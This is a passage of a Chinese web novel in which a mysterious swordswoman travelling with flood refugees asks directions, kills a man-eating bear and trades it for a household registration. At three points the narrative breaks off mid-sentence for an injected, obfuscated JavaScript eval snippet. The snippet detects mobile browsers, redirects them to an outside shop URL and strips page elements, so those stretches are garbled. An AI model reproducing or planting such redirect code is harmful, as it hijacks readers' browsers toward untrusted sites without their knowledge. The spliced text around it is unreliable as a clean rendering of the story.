收拾碗筷的时候,杨大娘轻声对方翠红说:“翠红,你平日顾着些燕姑娘,她独自一人在外,怕是遇到事也没人帮。” “娘,我晓得,”方翠红点头。她知道婆母说的是什么意思,她与燕姑娘都是女子,有些事儿只有女子间才会知晓,也只有女子才知道该如何处理。 杨大娘又去同自己的女儿说:“柳丫,你平日同燕姑娘走一道,互相能有个照应。” 杨柳丫愣了一下:“娘,大哥二哥都说她是高手,是女侠,我能照应她什么?” 杨大娘瞥了她一眼,“你勤快些,给燕姑娘梳梳发髻。” “我凭啥……”杨柳丫敢怒不敢言地嘀咕着凑到她二哥的身边发牢骚,“二哥,咱娘让我给燕姑娘梳发髻。” 兄弟俩对视了一眼,齐齐扭头去看燕惜妤那歪歪斜斜的发髻,如果不是戴着箬帽,估计早就散了。 “那柳丫你去给燕姑娘梳好发髻吧,”杨大柱点头。 杨柳丫立即瞪他。 “大哥,我觉着吧,燕姑娘该是大户人家的千金,她连发髻都不会梳,”杨二柱悄悄地说。 杨柳丫一听,连忙坚起了耳朵。她自小在乡野里长大,今年十五岁了,也只去过三次镇子上。有些妇人甚至一生不出村子,所以她很好奇那些大户人家是怎样的。 “我看出来了,”杨大柱说,“燕姑娘虽然皮肤黑黄,但她双手纤长柔软,一点儿茧子都没有,一看就知道是从来没做过活计的富家千金。” “可她身手那么好……”杨二柱挠着头想不明白这些事儿。 “别乱猜,免得惹祸上身,”杨大柱低声说。如果不是燕惜妤主动找上来,他是不愿意和身份不明但身手了得的人有所牵扯的。 他们三兄妹在低声嘀咕着,燕惜妤慢悠悠地走在最后面,偶尔还左右看几眼大山,然后一转头,又看见了熟悉的人。 皮狗侧着头走路,坚持不看前面的人。 他弟皮猴不明所以地跟着他走,后面还跟着家人。 “大哥,你咋离那家人这么近,你没看到那谁和他家走在一起吗?”皮猴觉得那不是女侠,也不是高手,而应该是煞神,一出手就能吓死人! “闭嘴!”皮狗凶他,“说了不许再提她一句!” “不提了不提了,”皮猴立即闭嘴。 他们六兄弟的长相太过于明显,不仅燕惜妤认出了他们,杨大柱俩兄弟也认出来了。 “大哥,是那六个混子!”杨二柱指着后方喊他哥。 “看见了,留意些他们,”杨大柱沉着脸说。 皮狗他们除了六兄弟之外,还有爷爷奶奶和一个老秀才,一共九口人,因为皮狗他们平日的举止让其他灾民都避开他们一家。 所以他们跟在杨家驴车的后面,给杨家人带来了一定的压力。 “他们是不是还想宰我家的驴?”杨二柱气愤地说。 燕惜妤听了,缓缓地站了起来。 18. 第18章 看见燕惜妤站起来,杨大柱和杨二柱都是一愣。 杨二柱有些紧张又有些情绪高涨地看着她:“燕姑娘,你是要过去吗?”过去把他们狠狠揍一顿。 燕惜妤奇怪地看着他:“我过去做什么?” 她说完,走到板车旁从背篓里取出了两个硬馍,然后递给正在烧水的杨大娘。 杨大伯就坐在杨大娘身旁,见她又拿出了硬馍,连连摆手:“怎的又拿出来了?昨儿个刚泡了两个。” 他知道燕惜妤拿出两个硬馍是让一家人一起吃的,可他脸皮就算再厚,也不能顿顿吃别人家的,何况这还是救了他家驴子的恩人。 “我怕硬馍放太久会发霉长毛,”燕惜妤可怜兮兮地看着杨大伯,“杨大伯,我想吃面糊糊。” 杨大伯立马不吭声了。 杨大娘笑眯眯地接过两个硬馍,然后拿出一个陶盆:“燕姑娘,我给你晾凉热水,待会你灌到你那羊皮水囊里去。” “哎,谢谢大娘,”燕惜妤脆声应着。 杨二柱这下不关注别的了,又去盯燕惜妤拿出的羊皮水囊:“大哥,先前咱村的猎户曾说过,一个羊皮水囊要一两银子。” 一两银子啊,一个硬馍才一文钱,一个肉包子才两文钱,给木材铺米粮铺扛大包一天都没有三十文。 杨大柱没理会他,继续劈柴。烧水要柴火,他刚捡了些枯枝回来。 杨二柱没听到他兄长说话,于是就转头和皮狗互相瞪视。 就在这时,前头忽然传来了车轮转动的声音。 灾民都在官道两旁歇息,这时纷纷伸长脖子瞧着,燕惜妤也感到好奇,还向路旁走了过去。 官道的那头正远远地出现了数十辆载满货物的马车,待这些人走到近前,燕惜妤才看清这原本是一支商队。 跟队的除了有十几人骑着马,剩下的人都是步行。 燕惜妤大概数了数,骑马和步行的护卫差不多有四、五十人,这些人的数量比护送灾民去边地的官差人数还要多。 最让燕惜妤惊讶的是,在这支商队的最后头,竟然还跟着两辆带厢的马车,马车里的人可能是对路旁灾民的议论声感到好奇,掀开马车上的窗帘看了一眼。 燕惜妤眼尖地发现马车里面坐着的是面纱蒙面的年轻女子。 “哎?”有人在她身旁也发出了惊讶的声音,“为什么商队后头还跟着富户家的马车?” 燕惜妤转头看了看,是皮狗他们。 “傻子,你怎么就知道这些人是富户?”另一旁忽然响起了嘲笑的声音,“说不定这些人是商队家眷呢。” 燕惜妤把头转向了另一边,发现是杨家俩兄弟。 “你才傻!”瘦蛇指着杨二柱喊,“我说是就是!” “你傻!”杨二柱跳脚嚷嚷着,“我说不是就不是!” 这俩隔着燕惜妤吵了起来。 杨二柱嚷一句,燕惜妤就把头歪向右边,瘦蛇回呛一声,她又把头歪向了左边。 “吵什么?”胖头一手扯着瘦蛇,“咱回去问问老秀才就都知道了。” 瘦蛇一瞥杨二柱:“傻子,敢不敢去问?” “不敢去问的就是傻子!”杨二柱立即喊。 说完,几人一起转身往回走。 燕惜妤双手揉了揉耳朵,也跟着走了过去。 老秀才正歪着身体靠在一块石头上,见这帮娃子围过来,轻咳了声问:“怎的?” “老秀才,你知道那些跟在商队后头的是什么人不?”瘦蛇一屁股坐老秀才身边,伸手指着渐渐远去的商队和马车问。 老秀才缓慢地转头看了一眼,才慢吞吞地说:“你们可听说过镖局?” 他这回答牛头不对马嘴的,瘦蛇他们有点儿听不懂,一直坐在老秀才身边的墩子听懂了:“老秀才的意思是说,刚才护着商队的人里也有镖局的人,他们接了商队的这趟镖,又随便接了那些富户人家的镖,他们这是在走镖,护送商队和富家家眷回中原。” “镖局啊?”杨二柱和瘦蛇立即来了精神,“那这些壮汉都是镖师?他们是不是很能打?护送多贵重的货物要这么多镖师跟着啊?镖师能打?还是官差能打?” 他们边说边瞥向燕惜妤,也不知道这位女侠高手能不能一打镖局里的全部镖师? “怎的?你还想让镖师和那些官差打一架?”老秀才撩起眼皮,“你们知道为什么要三十多个官差带灾民去边地吗?” “为了保护我们这些灾民在路上不被蛮夷人或马匪斩了?”瘦蛇猜测着说。 “这是其一,其二是官差也需要自保,”老秀才慢吞吞地说,“我们这些灾民能有什么,也就只剩下这条不值钱的命而已,但官差身上有令牌,有马匹,有佩刀,他们还知道各州县的官兵部署,在蛮夷人的眼中,这些官差可比咱有用多啰。” 老秀才说了,又好像没说。 还是墩子给他们做了解释:“就连官差都需要有足够多的人才敢走这趟边地,那些富户和商队当然也怕,所以他们才会花钱请镖师,拿钱保命而已,至于镖师能不能打,这谁知道呢,你们要想知道,这一路可以挖挖路边那些土疙瘩,看看一共埋了多少个镖师。” “噫!”瘦蛇抖了抖身体,“我都吃不饱,哪还有力气去挖别人的坟。” 燕惜妤在旁边站着听到这里,这时忽然走到老秀才的身边坐下:“老人家,能向你打听些事情吗?” 老秀才对其他娃子都是爱理不理的,但对女娃却是给了好脸色:“娃娃你说。” “老人家,你知道乌州泰县如何走吗?”燕惜妤看着老秀才问。 老秀才一直是半死不活的样子,这会儿忽然就坐直了身,连那常年软不拉耷的眼皮子也掀了起来:“娃娃,你方才说的可是乌州泰县?” “对,乌州泰县,和大漠相邻的泰县,”燕惜妤点头。 坐她旁边的墩子脸色奇怪地看过来:“官差带我们去的边地是窉州代城,并不是乌州泰县。” “我知道,我不跟他们去窉州代城,我要去乌州泰县,”燕惜妤看着老秀才问,“老人家知道去乌州泰县该走哪条路吗?” “离仓州最近的边地就是窉州的代城,”老秀才脸上也露出诧异,“你这娃娃却要去离仓州最远的乌州泰县,你可知乌州泰县乃是大承朝最远最凶险的边地,在泰县边地外世代居住着最凶残的夷狄人,大承朝和夷狄人打了数百年的仗,也就这十年来停歇了些。” 之前不知道,现在知道了。 燕惜妤点点头:“那看来乌州的边地暂时还算太平,老人家知道该走哪条路过去吗?” “你这娃娃……”老秀才摇摇头,看了燕惜妤一会儿,才叹着气说,“你若要去乌州,那到了窉州马县你就该转道北上,我们这些人会在马县的城外逗留两天,然后再继续去遥县, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282625|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了遥县离代城边地也就不远了。” 燕惜妤边听边点头。 “娃娃啊,”老秀才意有所指地说,“等到了窉州马县,这代城边地已近在眼前了,你还要去那远在天边的乌州?这一路的苦和累,娃娃莫不是忘了?” 没忘,这一路一睁眼就是靠着双脚走路,实在是又苦又累,可是…… “要去,”燕惜妤毫不迟疑地点头。 老秀才注视了燕惜妤好一会儿,然后才点点头:“既然如此,那娃娃去吧,只是你独自赶路太危险了,等到了马县你可以先在城中暂住两日,待等到有犯民流放代城边地,你可和解差说一声,到时跟着他们一道走,路上也好有个伴。” “进城?”燕惜妤一愣,“我进不了城。” 老秀才颦眉:“怎的进不了城?”先前仓州之所以不让灾民大量涌入城里是怕生事,但他们这些灾民已经千里迢迢走到了窉州马县,到时手头宽裕的灾民是可以拿钱在马县落户的。 “我没户籍,也没路引,”燕惜妤老实回答。 一直在旁边听着的灾民这时候忽然说:“我们也没户籍和路引。” 杨二柱不屑地说:“人姑娘家碰到洪水慌了神只顾着逃命忘了其他,你个大男人怎的也忘了带细软?莫不是连媳妇儿女也给一起忘了带着?” “你放屁!”那人顿时大骂,“我拼着命回去救我爹娘,我还没娶媳妇呢。” 旁人听了立即起哄笑闹。 “老人家,我这没户籍没路引该怎么办?老人家有什么办法吗?”燕惜妤虚心向老秀才请教。 老秀才沉吟了片刻,才轻咳了两声:“你要是同大伙一起去窉州代城边地,也就能落户在窉州,可你偏要独自一个去乌州,这事儿……娃娃你可有什么手艺?” 对于老秀才的询问,燕惜妤摇了摇头:“没有。” “燕姑娘你怎么会没唔唔……”杨二柱话还没说完,就被杨大柱一巴掌捂住了嘴巴。 老秀才也没留意他们这些娃子,他颦眉沉思了片刻,然后才说:“官差到了马县会进县城,或许你拿些银子给他们,央他们带你进城去找衙门的吏胥,看看能不能拿钱将你的户籍落在马县。” “还可以这样?”燕惜妤追问。 老秀才叹气道:“先前在仓州时,衙门其实在灾民里选了些有手艺的良材落户在了南县,你一介弱女子……或许也可以一试。” “老人家,我要没银子呢?那又该怎么办?”燕惜妤说这话时,旁边的人纷纷点头。 是啊,灾民手里能有几个银钱,又要拿钱给官差,又要拿钱给吏胥,要有这钱在手里,当初又何必去边地,干脆住县里得了。 老秀才连连叹气,不明白这娃娃为何非得要去乌州:“没银钱就拿些珍贵物什出来吧。” 燕惜妤一穷二白的,啥也没有。 “燕姑娘……”杨二柱凑到发呆的燕惜妤身旁,表情有些焦急,“你怎么会没有手艺呢?” “我有什么手艺?”燕惜妤茫然地看着他。 杨二柱左右看看,像是作贼似的低声说:“燕姑娘,你身手了得,是个高手中的高手啊!” “这算什么手艺,”燕惜妤惊讶,“难道我要给官差送几个人头吗?” 就在杨二柱还想再说话的时候,不远处的山林里忽然传出了野兽的嘶吼声。 燕惜妤倏地抬头看了过去。 19. 第19章 山林的树木正在晃动,像是有什么猛兽在林中快速地移到着。 灾民一个个的都坐着没动,只是好奇地伸长脖子往那边张望。 官差们倒是没放松警惕,他们所有人都站了起来,正盯着那个方向。 山中的动静只是出现了一小会,又停了。 杨二柱有些失望地说:“我还以为是野猪跑下来了。” 皮狗就坐在他旁边,听了嗤笑一声:“要真有野猪跑出来,你难道就敢往它那冲?” “我是不敢,”杨二柱一扬头,“但有燕姑娘在。” 皮狗瞬间不吭声了,他侧头看向旁边,却发现燕惜妤一直在看着山林的方向。 “燕姑娘……”皮狗很轻很轻地小心翼翼叫了一声,可能他怕人家燕姑娘不会理睬他,只能硬着头皮继续问,“燕姑娘,方才在山林里的是不是野猪啊?” “不是野猪,”燕惜妤摇头,“是别的猛兽,而且不只一头,你们注意点,它们还没离开。” “什么?!”杨二柱和皮狗一个蹦哒从地上站了起来,“什么东西还在?” “什么猛兽?”杨大柱惊讶出声,他连忙站起来寻找家人,“爹,娘呢?小妹呢?双全,你娘和你妹呢?” 听他这么一通找人,皮狗也连忙四处找他的家人:“爷,奶,石熊?” 石大爷和石阿婆还有石熊都在附近坐着,杨大娘她们四人暂时没看见。 只他们俩人在找自家人,其他灾民坐的坐,躺的躺,有些甚至已经睡着了。 就在这时,山脚的树林又出现了猛烈的晃动,而且还不只一处树木出现晃动。 “这是什么东西?”杨二柱掂着脚看着,“难道是一窝野猪?” 他的话音刚落,猛然有头色彩斑斓的老虎从树林中蹿了出来! “娘啊!是大虫!” “有老虎!” “快跑!” 之前还一动也不愿动的灾民顿时乱成了一窝蜂,争先恐后地往外跑。 杨家父子反应很快,齐齐跑向板车抽出了砍刀,杨大柱还焦急地大声喊:“娘,翠红,柳丫,双好?你们在哪?” 皮狗反应也不慢,他一巴掌拍向墩子:“快,背着老秀才跑。” 然后又去喊他的弟弟:“皮猴,快去同石熊一起护着爷和奶跑,快去!” 其他几个兄弟迅速地站在了他身边,每人都解下了腰后别着的砍刀。 只有燕惜妤缓缓地站了起来,她看看那头老虎,又去看还在不停晃动着的树木。 官差已经纷纷抽出了佩刀,不过他们也没第一时间去攻击老虎,显然他们也知道山林中还藏有猛兽。 胖头双手抓着刀,他的眼中有着奋激,从声音就能听出他的跃跃欲试:“官差为什么还不上去?他们不打算杀老虎?虎皮虎胆虎骨啊,可都老值钱了!” “闭嘴!”皮狗低声吼他,“啥都值钱,就你烂命不值钱!” “官差在等什么?”杨二柱奇怪地问。 燕惜妤看了他一眼:“你怎么还在?快点跑。” “我娘我嫂子我妹还有我侄女都没找到,”杨二柱皱眉说,“我爹和我大哥正在找,我守着驴子和板车。”双全已经怕得躲到板车底下了。 “她们还没找到?”燕惜妤转头看了看,“会不会已经跟着别人跑了?” 说出这话时,燕惜妤忽然想到或许她们是一起出去找地方小解了。女子互相结伴一起比较方便,可以有人负责把风。 灾民这么多,女子一般都会选择远些的隐蔽的角落。 燕惜妤望向了山脚的方向,那边的野草有半人高,还有着不少的灌木丛。 就在这时,山脚下晃动着的树林中猛地又蹿出了三头老虎,一大两小,看来这是一家子。 “娘啊!” “为啥子还有老虎?!” “这是哪个王八糕子捅了老虎的窝了?!!” “老天爷!!”皮猴吓得身体开始发抖,“大大大哥,咱还是快些跑吧!!”还不跑,等着喂老虎啊? 皮狗眼中也露出了恐惧,但他忍着害怕看了看身边站着的人。 燕惜妤就站在他旁边,脸色很平静,眼眸中仿佛根本没看见那几头大老虎。 看见她这淡定的模样,皮狗也不知道为什么忽然就不害怕了。 “再等会,”他小声说。 “等什么啊?”皮猴急的都快跳脚了,“你看看四周,就只剩咱几个了,还有这头蠢驴在。” 杨家的驴子还绑在板车上,驴子显然也怕老虎,这时不停地在原地闹腾着,杨大伯正大力扯着缰绳。 “二柱,你带着爹和双全牵着驴子先走,”杨大柱着急地喊杨二柱,“我留下找娘她们,你带着爹……” 他话还没说完,另一边的山脚又蹿出了一只小老虎,而在小老虎的身后紧跟着扑出了一头大黑熊! 那头黑熊的嘴里竟然还叼着一条人的手臂! “……俺的老娘啊!”胖头像是吓傻了,这会儿也不跑,还呆滞着张大了嘴巴,“大哥你看,是黑瞎子,黑瞎子吃人了!” 黑熊显然是在追着那只落单的小老虎,小老虎被黑熊追着慌不择路,背对着那两头大老虎反方向跑。 那两头带崽的大老虎想去追它,却被三十几个官差围着,人虎大战一触即发! “呜哇!娘我害怕!”忽然一声尖叫在不远处响起。 杨大伯他们浑身一震,齐齐开口喊:“双好?!” “爹你顾着些双全,我过去救她们!”杨大柱边跑边回头喊。 杨二柱握着砍刀也跟着跑。 胖头也不知道受到了什么刺激,举着手里的菜刀,嘴里“啊啊啊”乱喊着,也跟着冲了过去。 皮狗脸色狰狞地去追他:“胖头你跑啥!” 皮狗一跑,皮猴和瘦蛇也跟着跑。 燕惜妤顺着声音看过去,杨大娘她们四人也不知道从什么地方冒了出来,落单的小老虎估计是在草丛中向她们所在的方向跑了过去,而黑熊追着小老虎,正扑向杨大娘所在的位置。 杨双好被吓得哇哇大哭,杨柳丫哭着把她圈在怀里。方翠红一手扯着小姑子,一手拉着小女儿,用尽全身力气想拽着她们跑。 而杨大娘背对着她们站着,单薄的身体抖索着,脸色白的像纸,却仍拼死地张开瘦弱的手臂要把家人护在身后。 “娘!”杨大柱跑在最前头,但任凭他卯足了劲,牙都咬着出了血,仍是比不得黑熊的速度。 眼瞧着黑熊就要扑到杨大娘的身上,杨大柱只能眼睁睁地看着。 “娘!”杨大柱和杨二柱同时嘶吼出声。 在他们目眦尽裂的这一刹,杨大娘的身前倏地出现了一个人! 燕惜妤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282626|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在被风吹荡着的野草之中,她戴着箬帽,没人能看清她的脸。 但张大着嘴巴正在号哭着的杨双好却觉得头顶一重,有人在摸她的头发:“不怕。” “……!”杨大娘瞪着眼前的人,她张着嘴想喊,想让燕姑娘快跑,但她却发不出一丁点的声音。 就在她颤抖着手想把人护在自己身后时,眼前却是人影一闪,再定睛一看,燕惜妤已经跃到了黑熊跟前。 黑熊嘴里咬着的手臂已经不翼而飞,这时正张大着血盆大口猛扑过来! 燕惜妤双脚踏在野草随风飘扬着的草叶上,侧身与扑过来的黑熊擦肩而过时,左手在黑熊颈前轻轻一划,极不显眼的白光一闪而过。 等她背对着黑熊落在野草中时,黑熊庞大的身躯“嘭”地一声倒下了。 四周仍有喊叫声,野草被风吹得乱荡,但杨大娘她们四人却觉得此时天地静幽幽的,只能听见自己胸前那“怦怦”跳着的声音。 “娘!”一声呼唤惊得杨大娘浑身一震。她缓慢地回头,看见了好几个人正站在她们身后。 “大柱……”杨大娘朝着长子伸出手,“方才那是……” 杨大柱连忙过来扶她,发觉他娘的手凉冰冰的:“娘,没事了。” 说着,他又弯腰把方翠红也扶了起来,杨双好一下子扑过来抱住了他的腿:“爹,呜哇呜呜呜!” 杨双好这一哭,倒是把还怔愣着的人惊得给回过神来。 杨二柱呆呆地站着:“燕姑娘她……方才是怎么……”杀的狗熊? 皮狗四兄弟就站在他身后,他们张大着嘴巴,看着前方那道颀长的身影发怔。 野草下有什么东西飞快地从他们身边蹿了过去,“嗷呜嗷呜”嚎着奔向了那两头大老虎。 燕惜妤这才转身对着杨大柱他们招手:“杨大哥,麻烦你们过来一下。” “快去,燕姑娘喊你呢,”杨大娘连忙把杨大柱往前推,“快过去。” “娘你带着她们先回去,还有,娘,这事不宜声张,”杨大柱说完,带着杨二柱皮狗他们跑了过去。墩子也是在这个时候跑过来的,他跑的比杨大柱他们还快。 “你怎么也跑来了?”皮狗板着脸问他,“不是让你护着爷奶他们吗?” “他们没事,”墩子手里也拿着砍刀,“我要看狗熊。” 黑熊很大,倒在地上的身躯有半人高。 “燕姑娘,”杨大柱跑到黑熊前时,像是怕黑熊会忽然又活过来似的,不仅动作放缓慢,说话也很轻。 燕惜妤正在用草叶擦匕首上的血迹,她指了指地上的黑熊:“把你们手里的刀都去沾点熊血,别破坏熊皮,在脖子那里沾血。” “啊?”杨大柱一脸懵。 墩子是反应最快的,他一声不吭地蹲在黑熊旁边,把手里的刀放在黑熊脖子底下的伤口处左右压了好几下。 胖头也抖着腿走了过来,他整个人显得异常地兴奋:“这是狗熊啊!熊胆熊掌熊皮啊!” 其他几人这时也凑到了黑熊旁边。 “娘哎,这熊好臭!” “看这牙!看这大嘴……这是人肉吧?” “呕!”吐出来的人是杨二柱。 “燕姑娘,刀都沾上熊血了,”杨大柱手里拎着滴血的砍刀走到燕惜妤的身边。 “这熊不知道是谁杀的,”燕惜妤忽然说。 20. 第20章 杨大柱他们一愣,不明白她为什么说这种话,黑熊明明就是她杀的。 “可这……官差要是问起?”官差肯定会问的,杨大柱觉得这事瞒不住,“我们该怎么说?” 燕惜妤还没说话,墩子倒是先开口了:“官差要是问黑瞎子是谁杀的,我就说是我们杀的。” “啊?!我……们杀的?!”杨二柱刚才吐的脸都白了,“我、我们能杀的了大狗熊?!”这话连他自个儿都不信。 “如果不是我们杀的,那你的刀为什么有血?”墩子问他。 这下不仅杨二柱愣住了,就连其他也都愣了。 他们低头看自己手中握着的刀,刀身上全是血。 “哦!”杨二柱这才反应过来之前燕惜妤为什么要让他们把刀都沾上熊血,原来是因为这个。 “可是,官差会相信吗?”皮猴挠着头问。难道他对官差说熊是他杀的,官差就会信?官差又不是傻子。 燕惜妤把匕首放回怀中,转头看向这些手中握刀的男人:“那要是我对他们说熊是我杀的,他们会信吗?” ……这。 杨大柱和皮狗几人互相看看,又低头看自己手里沾血的刀,然后齐齐抬头看向站在他们面前的燕惜妤…… “……所以黑瞎子是我……们杀的?”皮猴有点儿结巴地说。 “官差如果问,我就说是我们杀的,至于到底是谁杀的……”墩子说,“不清楚,当时我们举着刀就是一通砍,最后熊被砍死了。” “可这熊身上只有脖子被划了一刀,身体也没别的伤口啊,”皮猴继续挠头。 “狗熊力大无穷,我们也无法近身,所以更不知道是谁杀的,”墩子胸有成竹地说,“他们不会细问,往常县里有卖老虎和野狼的,差役从没问过是哪位屠户猎杀的。” “可是万一方才有官差或别的人看到燕姑娘杀熊了呢?”杨大柱忽然问,“总会有人看见的。”他家人就看见了。 “该跑的都跑了,”墩子反问杨大柱,“要是你面前有两大老虎,你还顾得上旁边的狗熊吗?” 杨大柱张了张嘴:“这……”好像是顾不上。 “又是老虎又是狗熊的,灾民个个头也不回地早跑没了影,”皮狗四处看了看,“这里的草又高又密,在远处看不清。” “所以这狗熊就是我们杀的,”墩子一锤定音,“真有人看见了,我们不认,他们也不会细究,毕竟谁都有看花眼的时候。” “这位大哥当真是聪慧,”燕惜妤看着他,“不知这位大哥是?” 墩子连忙反手拿刀对着燕惜妤作揖:“小生石子端,见过燕姑娘。” “石大哥,”燕惜妤欠身还礼,“待会还要劳烦石大哥再帮我一个忙。” 墩子连忙说:“燕惜妤请讲。” 燕惜妤指了指草丛中的黑熊:“这头熊应该能值些银子,我想用它换户籍和路引,不知石大哥觉得可行吗?” “可行,”墩子立即点头,“待会我帮燕姑娘与官差商议。” “谢谢石大哥,”燕惜妤道谢,然后转头看向官差那边。 官差们还在和那两大两小四头老虎对峙着,这时草丛里忽然蹿出了一只小老虎,立即就吸引了其它老虎的注意力。 两头大老虎低吼着带上三只小老虎转身跑进了山林。 等老虎不见了踪影,官差这才放下手中的大刀。 他们互相看看,然后转头看向这边。 “官差过来了!”瘦蛇合着嘴轻轻动了动唇,“他们过来了!” “我这心里跳的厉害!”杨二柱低着头小声说。 “都闭嘴!”杨大柱和皮狗同时轻斥了一句。 官差越走越近,当他们拨开草丛看见倒下的黑熊时,脸上的表情全是诧异。 “还真把这小山似的黑瞎子给杀了?”有位官差发出惊叹声,“是谁杀的?” 在这一刻,杨大柱和皮狗他们竟然异口同声地开口:“我杀的!” 说完这句话,他们估计是没试过有这种默契的时候,几人对视一眼,最矮小的瘦蛇悄悄地挺直了腰杆。 问话的官差听他们这样说,先是扫了眼他们手里握着的染血刀具,然后侧头看了眼身旁的同僚们,竟然真像之前墩子说的那样,也不追究真假。 “好本领,待到了窉州,我会将此事禀报给知州大人,”他勾起嘴角,“你们几人或许可以落户在马县。” 老秀才说过,在仓州的时候,仓州衙门在灾民中选出了一些有手艺的良材百姓留在了仓州,能留在县里,肯定比住在镇子和村子里的要好。 “石子端在此先谢过差大哥的抬爱,”墩子反手拿刀,双手抱拳朝着官差俯身,“但我等都是愚鲁的田夫野老,万不敢污了各位大人的青眼,唯有我这邻家阿妹乞望差大哥能抬手施助。” 那官差没想到他会婉拒,再去看其他几人,个个都紧绷着脸皮,像根木头杵着。 倒是这几人中唯一的女子正抬眼看过来。 他问:“这位姑娘就是你的邻家阿妹?她想要什么?” 明明燕惜妤本人就在他面前,但他却去问墩子。 “是,我邻家阿妹想要落户在马县,”墩子仍然是俯身抱拳的姿势,“她要去乌州,所以还需要路引。” “落户在马县倒是小事一桩,要路引也可以给,”官差眼中有着惊讶,“听你话中的意思,她是要独自一人去乌州?” “是,她一人去乌州,”墩子一直维持着同一个姿势,很是卑恭地低着头,“此事就仰赖各位差大哥了,这头狗熊我等也不知该如何料理,唯有交给各位差大哥才能不毁损了这熊皮子。” 那官差又侧头看了看身旁的同僚,燕惜妤留意到其中有位官差点了点头,他才笑着上前去扶墩子一直府身抱拳的手臂:“那行,等到了马县,你这邻家妹子就跟我们一道进城。” 墩子哪里真敢让官差扶他,他先是直了直身,待官差收回手之后,又再一次府身道谢:“劳差大哥上心了,小生谢过各位差大哥。” “行了,不是什么大事,无需客气,”那官差摆摆手。 墩子又俯身告辞,这才转过身。转身的同时,他扫了身后几人一眼,大家很有默契地转身,一声不响地走开。 他们一走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282627|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,官差立即将黑熊团团围住。 其中一个年纪最大的官差蹲在黑熊的脑袋旁边,他双手用力掰着黑熊的脑袋,正在仔细观察着黑熊脖子上的刀口。 其他官差也不出声打扰,等他站起来后,才有位官差问他:“陈大哥,可看出些眉目了?” “一刀致命,这是快刀,刀口极细,只割断咽喉而不损颈骨,”陈大哥沉声说,“能使出这等刀法的人,至今我只知道一个。” “陈大哥说的难道是羿家军快刀营?!”有官差惊呼出声。 其他官差听了他这话,每人的脸色都变了。 “羿家……怪不得那姑娘说要去乌州,”之前向墩子问话的官差恍悟道,“看来方才那几人之中,有鲁正和的人。” 有官差说:“鲁正和一手□□使得出神入化,他的人潜藏在灾民中这么久都不露脸,如若不是被这狗熊逼着出刀,我们还真是察觉不到。” “这么说来……那邻家阿妹不过是幌子而已,羿家这是打算做什么?”有官差低声问。 他这话问出口,其他官差都陷入了沉思。 “羿家要做什么都与我等无关,”陈大哥嗤笑出声,“我们只管做好自己的差事。” “也是,”有官差笑着说,“等我能进了羿家军再说吧。” 另一个官差立即调侃他:“你小子,要进羿家军也是咱头儿和陈大哥才能进,你和我就甭想了。” “马屁这么早就拍上了?”有官差抽出了随身携带的小刀,“头儿,熊皮熊胆熊掌,咱留哪两样?” “把熊皮给窉州的知州送去,他是大官老爷,咱这等身份的人配不上那身皮,”在官差之中有人回答。 “好嘞,这狗熊换一个马县的户籍和路引,也就羿家这么大方。” “咱亏了啊!”瘦蛇边走边捂心口,“那么大的一头狗熊!” “那你回去和那群官差抢,”杨二柱呛他,“你去抢,我给你递刀。” 瘦蛇顿时不吭声了。 “咱不是还能吃到熊肉吗?”胖头一张脸异常地红,整个人仍然很昂奋,“我也是吃过熊肉的人了!” “呕!”杨二柱忽然又吐了。 “噫!”皮狗立即远离他,“真没用!” “你有用你敢吃熊肉!”杨二柱指着他骂,“黑瞎子才刚吃了人!你敢吃!” “为什么不敢!”皮狗嘴硬着回他。 结果到派饭的时候,皮狗还真是不敢,他甚至也不让胖头去领熊肉。 “真香啊!”胖头伸长脖子使劲嗅着,“那熊肉是先在火上一大块一大块地烤,烤过之后再剁成肉末,老香了。” “嗯,”老秀才摸了摸他下巴那像羊尾巴的胡须,“先剁成肉末再每人一勺是对的,如果突然给这些人吃大块的熊肉,多半会克化不了。” “再香也不吃!”皮猴板着脸说,“那黑瞎子定是生吃了灾民,那人肉指不定还在它那胃囊中!” “呕!”杨二柱又吐了。 “滚!”皮狗一巴掌扇他。 “熊肉咱不吃了,吃硬馍面糊糊吧,”忽然有声音在他们身后响起。 21. 第21章 燕惜妤双手端着一个陶锅走了过来。 “燕姑娘,”杨二柱站起来,“怎的泡了这么多的面糊糊?” “石大哥帮了我,我没什么能当谢礼,就只能拿出几个不值钱的硬馍泡了端来,”燕惜妤把手里的陶锅放在石块上,“谢谢各位能帮我,听说到窉州还有四天,这四天我都给各位端锅面糊糊过来,希望你们不要嫌弃。” “这可不能要……”皮狗一个翻身蹦了起来。 燕惜妤抬眼似笑非笑地看着他:“皮狗哥是不敢吃我端来的面糊糊?” 皮狗一怔,又缓缓坐了下来:“我有什么不敢的……” 